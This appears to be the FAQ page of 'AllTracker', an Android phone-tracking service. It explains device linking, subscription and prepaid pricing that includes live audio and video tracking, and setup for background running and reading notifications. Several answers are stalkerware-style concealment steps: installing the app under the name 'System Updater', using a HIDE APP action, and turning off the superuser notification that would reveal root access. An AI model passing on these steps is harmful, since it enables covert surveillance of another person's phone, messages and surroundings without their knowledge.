How to connect my phone to website?

1. Download the app using this link: Download APK
2. Install and run the app on your phone
3. Click on MANAGE CONNECTED ACCOUNTS
4. Confirm CONNECT
5. Enter any email which you want to grant access to your phone. After a while the connected account will appear in list. That means connection was successful!
6. Your phone will automatically appear in your list of devices on the site after you login with the same provider!

How Pricing works?

Subscription: Recurring Payment, Unlimited Requests

- How often do I pay and for what?
A.1. You pay a monthly / annual fee for access to all services, including live audio and video tracking.

- How many devices can I track under one subscription?
A.2. You have a limitation on the number of registered devices (Bronze - 1 device, Silver - 3 devices, Gold - 5 monitored devices).

- When can I cancel my subscription? Will my access be immediately closed after I cancel the subscription?
A.3. If you have subscribed to one of the plans, then you can immediately unsubscribe from it (cancel). In this case, your subscription will be active until the end of the payment period. When the time is up to the next payment, your subscription will be stopped, and you will not be charged any more.

- Can I activate my subscription after canceling? Will they withdraw money from me again?
A.4. If you have unsubscribed from any plan, you can subscribe to it back at any time. In this case, you will not be charged extra. The next payment will be made at the end of the current payment period.

- I want to upgrade my plan, do I need to wait until the end of the current period, so that I will not be charged the full amount for the new plan?
A.5. If you want to subscribe to a higher plan, then you can do it at any time. In this case, the balance of money for the current period will be included in a new subscription and you will pay only the difference in price.


Prepaid: One Time Payment

- Will I be regularly charged with prepaid payment?
P.1. You buy one-time internal currency (diamonds), which you pay for every request made to your device. You will not be regularly charged. You can refill your balance at any time.

- How many devices can I connect with a prepaid payment?
P.2. You do not have a limit on the number of registered devices, because You pay only for each request.

- What are my limitations if I use a prepaid payment?
P.3. You CAN NOT use the functions of live video and audio tracking.


Trial: Try Period

T.1. When registering on the web site you will receive free access to all services for the next 6 hours .

T.2. In addition to T.1. At first registration you will receive 200 diamonds.


If you have any problems with the subscription, or you think that you was not correctly charged, please contact us through the support service, we will try to solve your problem in a short time.

How to completely uninstall 'AllTracker'?

Android < 6.0:
Go to 'Settings', then 'Application manager', then 'AllTracker', then 'Clear Data' and select 'Uninstall'

Android > 6.0:
Go to 'Settings', then 'Applications', then 'Application manager', then 'AllTracker', then 'Storage', then 'Clear Data' and 'Clear Cache' and go back and select 'Uninstall'

How to remove the message 'Superuser granded to AllTracker'?

This message comes by default every time you request any ROOT action:


To remove it, go to settings of your superuser and select 'Notifications'


Then select 'None'

My phone doesn't give any response after some time, while the app is installed and registered to my gmail. Why?

1. Action
1. Install the latest version of AllTracker Anti-Thief v.4.8 or System Updater v.4.8 from the Installation section.
2. After starting the program, click on INSTALL SERVICE CHECKER.
3. When download is done install the program.
4. Return to AllTracker and click on START SERVICE CHECKER.
5. The service window will open. To save your battery life select optimal interval. A 3 minute interval is recommended. Confirm START SERVICE.
6. If you see that the service icon has turned green, it means that the service is successfully launched and will run in the background to ensure that AllTracker "does not fall asleep".

You can also download Service Checker from HERE

2. Action
Go to Settings -> Battery -> DETAIL -> App power saving -> OFF!

-> ->
3. Action
Please check if the app 'Smart manager' is installed on your phone or exist in phone settings:

 

If so, then start it and select 'Charging'


Then select 'Detail'


Make sure that it is 'OFF'

How to hide AllTracker?

1. To hide AllTracker you have to install AllTracker Anti-Thief or System Updater.
2. After installation and connecting your device to your account you can select action HIDE APP.

I cannot get status bar notifications. How can I setup notification tracking?

1. Please tap on Open Settings to grant AllTracker access to listen to notifications.
2. In settings switch on the access for AllTracker.
3. Go back to the app. The icon should be green and the button should disappear, that means setup was successful.
4. You should see a notification that AllTracker has access to notification bar. You can dismiss it. It will not come back.

If you still have some problems and the app cannot read your notifications, please, remove the app completely from your device like described here and then install it again.